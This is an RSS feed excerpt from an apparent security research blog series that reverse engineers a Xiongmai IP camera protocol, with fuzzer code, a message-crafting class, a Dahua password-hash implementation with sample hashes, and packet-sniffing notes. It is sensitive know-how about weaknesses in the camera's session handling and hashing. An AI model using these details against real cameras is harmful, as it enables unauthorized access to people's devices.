<p>We also get some zip files which contains settings dumps, while interesting don&#39;t contain anything we didn&#39;t already know about the camera.</p>
<pre class="code-block"><code>BINARY FILE &quot;\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF&quot;
    Bytes: [&quot;0x0618&quot;]</code></pre>
<p>0x0618 gives us an image from the camera, will be useful for later.</p>
<p>Overall, we&#39;ve gained some interesting insight into the device, and we haven&#39;t even fuzzed all the commands, and the unauthenticated user account yet!</p>
<p>The user account &quot;default&quot; ends up giving us a clear picture of whats going on. Since it only has stream privileges, most of it&#39;s replies are stream related.</p>
<pre class="code-block"><code>Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000

&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10976316, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x000042C9\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03f2&quot;, &quot;0x080e&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;GetSafetyAbility\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;authorizeStat\&quot; : null }\n&quot;
    Bytes: [&quot;0x0672&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPRecordSnap\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x07fc&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 105, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0852&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 106, \&quot;SessionID\&quot; : \&quot;0x000066E9\&quot; }\n&quot;
    Bytes: [&quot;0x02ee&quot;, &quot;0x0192&quot;, &quot;0x00a7&quot;, &quot;0x0e27&quot;, &quot;0x0041&quot;, &quot;0x01c1&quot;, &quot;0x0032&quot;, &quot;0x0fa6&quot;, &quot;0x03f7&quot;, &quot;0x0740&quot;, &quot;0x0d85&quot;, &quot;0x0c3e&quot;, &quot;0x095d&quot;, &quot;0x06ee&quot;, &quot;0x02b7&quot;, &quot;0x08ac&quot;, &quot;0x0db9&quot;, &quot;0x08d6&quot;, &quot;0x00bb&quot;, &quot;0x0b37&quot;, &quot;0x0606&quot;, &quot;0x0996&quot;, &quot;0x0cfb&quot;, &quot;0x0afa&quot;, &quot;0x00ba&quot;, &quot;0x0974&quot;, &quot;0x0d51&quot;, &quot;0x0906&quot;, &quot;0x0f42&quot;, &quot;0x05e2&quot;]</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Basic Fuzzing</title>
      <link>https://sol.vin/xiongmai_journey/4.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/4.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Fuzzing</category>
      <category domain="skill-slug">fuzzing</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Fuzzing</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>When dealing with a protocol where the source code and implementation are secret to us,we need to do certain kinds of testing to find out how to format data appropriately, as well as determine what can change behavior, what can be ignored, and what we need to pay attention to.</p>
<p>We want to poke at SessionID a bit, lets try to login repeatedly to get an idea of SessionIDs values. For this example, we login to the camera, then send a command, then print the SessionID.</p>
<pre class="code-block"><code>0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009

[Done] exited with code=0 in 1.025 seconds</code></pre>
<p>Since SessionID acts like a simple incrementer, we can easily write our own values. Getting an idea of how the camera might produce it&#39;s SessionID fields may help us later to develop an anti-client.</p>
<p>Let&#39;s make an attempt to send another command after logging in, we first will try to replay a commands SessionID, then try to replay the command with a randomized SessionID. This will give us greater insight into what works, and what doesn&#39;t.</p>
<p>For this command I&#39;ll be using SystemInfo which I found while sniffing! This one is used by the client to get a list of some settings and version numbers. Playing around with the SessionID field shows the camera doesn&#39;t care about it. I tried 0x00000007, 0x11111117, and a couple other random numbers and they all seemed to work!</p>
<p>There were also a couple values in the 20 byte header that I couldn&#39;t decipher, so I wrote a fuzzer to see if there was anything interesting about them. The results I got were, strange, to say the least. I used this method to make a basic command, including the header.</p>
<pre class="code-block"><code># Class that contains the basic process for making a message to/from the camera
class XMMessage
  property type : UInt32
  property session_id : UInt32
  property unknown1 : UInt32
  property unknown2 : UInt16
  property magic : UInt16
  property size : UInt32
  property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
  def self.from_s(string)
    io = IO::Memory.new string
    m = XMMessage.new
    m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.message = string[20..string.size]
    m
  end

  def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = &quot;&quot;)
  end

  def magic1 : UInt8
    (magic &amp; 0xFF).to_u8
  end

  def magic2 : UInt8
    (magic &gt;&gt; 8).to_u8
  end

  def make_header
    header_io = IO::Memory.new
    header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown2,IO::ByteFormat::LittleEndian)
    header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

    header_io.to_s
  end

  def make : String
    (make_header + self.message)
  end
end</code></pre>
<p>Next, I made the main part of the fuzzer, which fills in every possible byte value, waits for a reply, then disconnects, and loops. I keep track of which magic return what reply.</p>
<p>If you&#39;d like to view the code, and understand more about how the fuzzing process needs to work, check out the <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/client/src/fuzzer.cr">GitHub</a> page for the project.</p>
<p>Some notes on this program,</p>
<ul>
  <li>There are two bytes we want to target, the first magic1, and then magic2.</li>
  <li>The fuzzer itself has to be extremely fault tolerant, because lots of bad things happen when using it. There is a lot of trial and error in designing one of these.</li>
</ul>
<p><em> Was the login connection refused? (because camera went offline) </em> Was the command ever replied to? * Was the command reply&#39;s length zero?</p>
<p>When I want to run it I just do something like this,</p>
<pre class="code-block"><code>class Command::SystemInfo &lt; Command
  def initialize(@session_id = 0)
    super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
      json.object do
        json.field &quot;Name&quot;, &quot;SystemInfo&quot;
        json.field &quot;SessionID&quot;, &quot;0x#{@session_id.to_s(16).rjust(8, &#39;0&#39;)}&quot;
      end
    end)
  end
end

File.open(&quot;logs/system_info.log&quot;, &quot;w&quot;) do |file|
  Fuzzer.run(
    Command::SystemInfo.new(session_id: 0x11111117),
    magic2: (0x3..0x6),
    password: &quot;password&quot;,
    output: file
    )
end</code></pre>
<p>This will run for a while, eventually producing results, and while the results are accurate, it&#39;s too slow! It can take up to 24 hours to complete a single scan of the magic field 0x3 to 0x8, especially because camera turns off and doesn&#39;t turn back on for minutes, as well as many other system breaking bugs.</p>
<p>Luckily I had a couple ideas to make it faster.</p>
]]></description>
      <content:encoded><![CDATA[<p>When dealing with a protocol where the source code and implementation are secret to us,we need to do certain kinds of testing to find out how to format data appropriately, as well as determine what can change behavior, what can be ignored, and what we need to pay attention to.</p>
<p>We want to poke at SessionID a bit, lets try to login repeatedly to get an idea of SessionIDs values. For this example, we login to the camera, then send a command, then print the SessionID.</p>
<pre class="code-block"><code>0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009

[Done] exited with code=0 in 1.025 seconds</code></pre>
<p>Since SessionID acts like a simple incrementer, we can easily write our own values. Getting an idea of how the camera might produce it&#39;s SessionID fields may help us later to develop an anti-client.</p>
<p>Let&#39;s make an attempt to send another command after logging in, we first will try to replay a commands SessionID, then try to replay the command with a randomized SessionID. This will give us greater insight into what works, and what doesn&#39;t.</p>
<p>For this command I&#39;ll be using SystemInfo which I found while sniffing! This one is used by the client to get a list of some settings and version numbers. Playing around with the SessionID field shows the camera doesn&#39;t care about it. I tried 0x00000007, 0x11111117, and a couple other random numbers and they all seemed to work!</p>
<p>There were also a couple values in the 20 byte header that I couldn&#39;t decipher, so I wrote a fuzzer to see if there was anything interesting about them. The results I got were, strange, to say the least. I used this method to make a basic command, including the header.</p>
<pre class="code-block"><code># Class that contains the basic process for making a message to/from the camera
class XMMessage
  property type : UInt32
  property session_id : UInt32
  property unknown1 : UInt32
  property unknown2 : UInt16
  property magic : UInt16
  property size : UInt32
  property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
  def self.from_s(string)
    io = IO::Memory.new string
    m = XMMessage.new
    m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.message = string[20..string.size]
    m
  end

  def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = &quot;&quot;)
  end

  def magic1 : UInt8
    (magic &amp; 0xFF).to_u8
  end

  def magic2 : UInt8
    (magic &gt;&gt; 8).to_u8
  end

  def make_header
    header_io = IO::Memory.new
    header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown2,IO::ByteFormat::LittleEndian)
    header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

    header_io.to_s
  end

  def make : String
    (make_header + self.message)
  end
end</code></pre>
<p>Next, I made the main part of the fuzzer, which fills in every possible byte value, waits for a reply, then disconnects, and loops. I keep track of which magic return what reply.</p>
<p>If you&#39;d like to view the code, and understand more about how the fuzzing process needs to work, check out the <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/client/src/fuzzer.cr">GitHub</a> page for the project.</p>
<p>Some notes on this program,</p>
<ul>
  <li>There are two bytes we want to target, the first magic1, and then magic2.</li>
  <li>The fuzzer itself has to be extremely fault tolerant, because lots of bad things happen when using it. There is a lot of trial and error in designing one of these.</li>
</ul>
<p><em> Was the login connection refused? (because camera went offline) </em> Was the command ever replied to? * Was the command reply&#39;s length zero?</p>
<p>When I want to run it I just do something like this,</p>
<pre class="code-block"><code>class Command::SystemInfo &lt; Command
  def initialize(@session_id = 0)
    super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
      json.object do
        json.field &quot;Name&quot;, &quot;SystemInfo&quot;
        json.field &quot;SessionID&quot;, &quot;0x#{@session_id.to_s(16).rjust(8, &#39;0&#39;)}&quot;
      end
    end)
  end
end

File.open(&quot;logs/system_info.log&quot;, &quot;w&quot;) do |file|
  Fuzzer.run(
    Command::SystemInfo.new(session_id: 0x11111117),
    magic2: (0x3..0x6),
    password: &quot;password&quot;,
    output: file
    )
end</code></pre>
<p>This will run for a while, eventually producing results, and while the results are accurate, it&#39;s too slow! It can take up to 24 hours to complete a single scan of the magic field 0x3 to 0x8, especially because camera turns off and doesn&#39;t turn back on for minutes, as well as many other system breaking bugs.</p>
<p>Luckily I had a couple ideas to make it faster.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Fuzzing</strong> (<em>Security</em>) &bull; 5 years &mdash; Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [<a href="https://en.wikipedia.org/wiki/Fuzzing">Wikipedia</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Hashing</title>
      <link>https://sol.vin/xiongmai_journey/3.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/3.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <description><![CDATA[<p>We also finally got some passwords, but they were hashed, so we are going to need to figure out what method the manufacturer used. First thing to notice is that, in other captures, the PassWord field is always the same, meaning chances are we aren&#39;t dealing with a random <a href="https://en.wikipedia.org/wiki/Salt_(cryptography">salt</a>) every time. If they do use a salt it must be hard coded into the camera itself, but this is unlikely. What IS really weird about this hash is that it says it&#39;s &quot;MD5&quot; but the hash itself is only 8 bytes, where MD5 has 16. This means that there is some hashing protocol, but it is custom and built upon MD5.</p>
<p>I actually searched up and down and couldn&#39;t find anything about this hash format. I tried tools like <a href="https://gchq.github.io/CyberChef/">CyberChef</a> and a <a href="https://www.browserling.com/tools/all-hashes">hash calculator</a> to no success. Unfortunately, I couldn&#39;t find the hashing format used, so I asked the wonderful people on the <a href="https://discord.gg/cewJDe2">Voiding Warranties Discord</a>, and admin <a href="https://github.com/DavidBuchanan314">Retr0id</a> knew the hash type, Dahua! Since he helped me out, I&#39;ll plug his <a href="https://github.com/DavidBuchanan314/wifi-sdcf/tree/master/evil-sd-emulator">very cool exploit</a> for a brand of wifi-enabled SD cards, go check it out, it&#39;s a super cool project!</p>
<p>In the end I used a bit of <a href="https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py">source code</a> for the hashing system to write my own Dahua hashing for Crystal.</p>
<pre class="code-block"><code># Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py
require &quot;digest/md5&quot;
module Dahua
  def self.compress(bytes : Slice(UInt8)) : Bytes
    i = 0
    j = 0
    output = Bytes.new(8, 0)
    while i &amp;lt; bytes.size
      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8

      if output[j] &lt; 10
        output[j] += 48
      elsif output[j] &amp;lt; 36
        output[j] += 55
      else
        output[j] += 61
      end

      i = i+2
      j = j+1
    end
    output
  end

  def self.digest(password)
    md5_bytes = Digest::MD5.digest(password.encode(&quot;ascii&quot;))
    compressed = compress(md5_bytes.to_slice)

    String.new(compressed)
  end
end</code></pre>
<p>I&#39;m not hashing expert, but this method to me screams, &quot;<a href="https://learncryptography.com/hash-functions/hash-collision-attack">COLLISION</a>&quot;. From my calculation, this system loses about 99.9% of the entropy in the hash, that&#39;s not even a joke, each character in the Dahua hash has a 62 possibilities, where the original MD5 hash has 65535 possibilities each (since the hashing algorithm takes two bytes from the MD5 hash for each one of it&#39;s characters). This means that for each MD5 hash, there is a total of  2^(8*16), which is a very big number, and reduces it down to 62^8, which is a much much smaller number.</p>
<p>Using the digest method, we can attempt to determine our password hashes.</p>
<pre class="code-block"><code>&quot;&quot; = tlJwpbo6
&quot;password&quot; = mF95aD4o
&quot;abcdef&quot; = vfMMASaj
&quot;123456&quot; = nTBCS19C
&quot;asdfghjkl&quot; = MajKjGGZ
&quot;000000000000000000000000&quot; = lJ84MHiF

[Done] exited with code=0 in 0.586 seconds</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>We also finally got some passwords, but they were hashed, so we are going to need to figure out what method the manufacturer used. First thing to notice is that, in other captures, the PassWord field is always the same, meaning chances are we aren&#39;t dealing with a random <a href="https://en.wikipedia.org/wiki/Salt_(cryptography">salt</a>) every time. If they do use a salt it must be hard coded into the camera itself, but this is unlikely. What IS really weird about this hash is that it says it&#39;s &quot;MD5&quot; but the hash itself is only 8 bytes, where MD5 has 16. This means that there is some hashing protocol, but it is custom and built upon MD5.</p>
<p>I actually searched up and down and couldn&#39;t find anything about this hash format. I tried tools like <a href="https://gchq.github.io/CyberChef/">CyberChef</a> and a <a href="https://www.browserling.com/tools/all-hashes">hash calculator</a> to no success. Unfortunately, I couldn&#39;t find the hashing format used, so I asked the wonderful people on the <a href="https://discord.gg/cewJDe2">Voiding Warranties Discord</a>, and admin <a href="https://github.com/DavidBuchanan314">Retr0id</a> knew the hash type, Dahua! Since he helped me out, I&#39;ll plug his <a href="https://github.com/DavidBuchanan314/wifi-sdcf/tree/master/evil-sd-emulator">very cool exploit</a> for a brand of wifi-enabled SD cards, go check it out, it&#39;s a super cool project!</p>
<p>In the end I used a bit of <a href="https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py">source code</a> for the hashing system to write my own Dahua hashing for Crystal.</p>
<pre class="code-block"><code># Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py
require &quot;digest/md5&quot;
module Dahua
  def self.compress(bytes : Slice(UInt8)) : Bytes
    i = 0
    j = 0
    output = Bytes.new(8, 0)
    while i &amp;lt; bytes.size
      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8

      if output[j] &lt; 10
        output[j] += 48
      elsif output[j] &amp;lt; 36
        output[j] += 55
      else
        output[j] += 61
      end

      i = i+2
      j = j+1
    end
    output
  end

  def self.digest(password)
    md5_bytes = Digest::MD5.digest(password.encode(&quot;ascii&quot;))
    compressed = compress(md5_bytes.to_slice)

    String.new(compressed)
  end
end</code></pre>
<p>I&#39;m not hashing expert, but this method to me screams, &quot;<a href="https://learncryptography.com/hash-functions/hash-collision-attack">COLLISION</a>&quot;. From my calculation, this system loses about 99.9% of the entropy in the hash, that&#39;s not even a joke, each character in the Dahua hash has a 62 possibilities, where the original MD5 hash has 65535 possibilities each (since the hashing algorithm takes two bytes from the MD5 hash for each one of it&#39;s characters). This means that for each MD5 hash, there is a total of  2^(8*16), which is a very big number, and reduces it down to 62^8, which is a much much smaller number.</p>
<p>Using the digest method, we can attempt to determine our password hashes.</p>
<pre class="code-block"><code>&quot;&quot; = tlJwpbo6
&quot;password&quot; = mF95aD4o
&quot;abcdef&quot; = vfMMASaj
&quot;123456&quot; = nTBCS19C
&quot;asdfghjkl&quot; = MajKjGGZ
&quot;000000000000000000000000&quot; = lJ84MHiF

[Done] exited with code=0 in 0.586 seconds</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Software Overview and Audit</title>
      <link>https://sol.vin/xiongmai_journey/2.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/2.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/xiongmai/wireshark/1.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/2.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/3.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/4.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/5.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/14.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/6.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/7.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/8.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/9.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/10.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/11.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/12.png" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/wireshark/13.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/xiongmai/wireshark/1.png" />
      <description><![CDATA[<p>I plan to do the same thing I did with the VStarCam, capture packets, read through them, get a basic idea for the connection process, and start writing my very own client! First things first, we want to get an idea of a couple things,</p>
<ul>
  <li>Get a list of all port numbers, source and destination, and who communicated using them.</li>
  <li>Study the basic packet structure and figure out the basic formatting.</li>
  <li>Look at the client software for clues into the inner workings.</li>
</ul>
<h2>Sniffing</h2>
<p>Same as before, the main idea is to login with the app, and then immediately disconnect, so it&#39;s easier to understand the login process. Just for information, we&#39;ll do this multiple times to see if there are any important variables in the connection process we may need to track.</p>
<p>This time the app is the <a href="https://play.google.com/store/apps/details?id=com.mobile.myeye&amp;hl=en_US">XMEye</a> app, which operates very similarly to the Eye4 app that the VStarCam uses. The app, once again, has a stupid cloud login, which means the camera has that DDNS connectivity built in again. I&#39;m really glad that I wrote rules in my network to prevent the camera from reaching the internet.</p>
<center>
<img src="/images/xiongmai/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>Once again, broadcast is being used in a poor way, allowing potential attackers to find ALL cameras on a network with one simple magic packet. We are also seeing some weird UDP protocol again.</p>
<p>Taking a look at the first packet, we are greeted with a 20 byte sequence, a single byte 0xFF, padded by thirteen 0x00, then 0xFA05, and lastly four 0x00. We will call this the DBP (Discovery Broadcast Packet).</p>
<center>
<img src="/images/xiongmai/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Looking ahead, there is a similar marking to the 0xFA05, a 0xFB05. My guess would be that 0xFA05 is the client, and 0xFB05 is the camera. There is also a treasure trove of data sent to broadcast. From this packet we can see the format of choice is JSON. This will be a lot easier to work with that the custom protocol, because it requires less de-serialization work, the hard part is written for us! We will call this the DBR (Discovery Broadcast Reply)</p>
<center>
<img src="/images/xiongmai/wireshark/3.png" style="width: 100%; height: 100%;">
</center>
<p>It does this little dance to share the UDPPort and the TCPPort, both of which are most likely hard-coded in, so there isn&#39;t much of a reason for it. We also know that &quot;Ret : 100&quot; means the command succeeded!</p>
<center>
<img src="/images/xiongmai/wireshark/4.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the header, we can see the data contains a 0x3E, which just happens to be the exact size of the data, without the 20 byte header. When googling the name &quot;GetSafetyAbility&quot;, I couldn&#39;t find anything, not on GitHub, or any other search engine (I even tried Baidu). The protocol also switched off from UDP to TCP.</p>
<p>Going through the rest of the packets we can see we only really care about the data part of the TCP flow, not the SYN or ACK, so I set up  a simple Wireshark filter to filter the results into something a little more orderly. We only want TCP PSH packets. * tcp.flags.push == 1</p>
<center>
<img src="/images/xiongmai/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<p>When plugging some of the strings from this packet into google, I ended up finding a couple pieces of interesting information.</p>
<p><em> <a href="https://pastebin.com/D8u5jXNH">Pastebin</a> </em> <a href="https://gist.github.com/knight-of-ni/26be98747cef99cd4fe7">Gist</a> * <a href="https://github.com/charmyin/IPCTimeLapse/blob/master/videoCapture.c">Github</a></p>
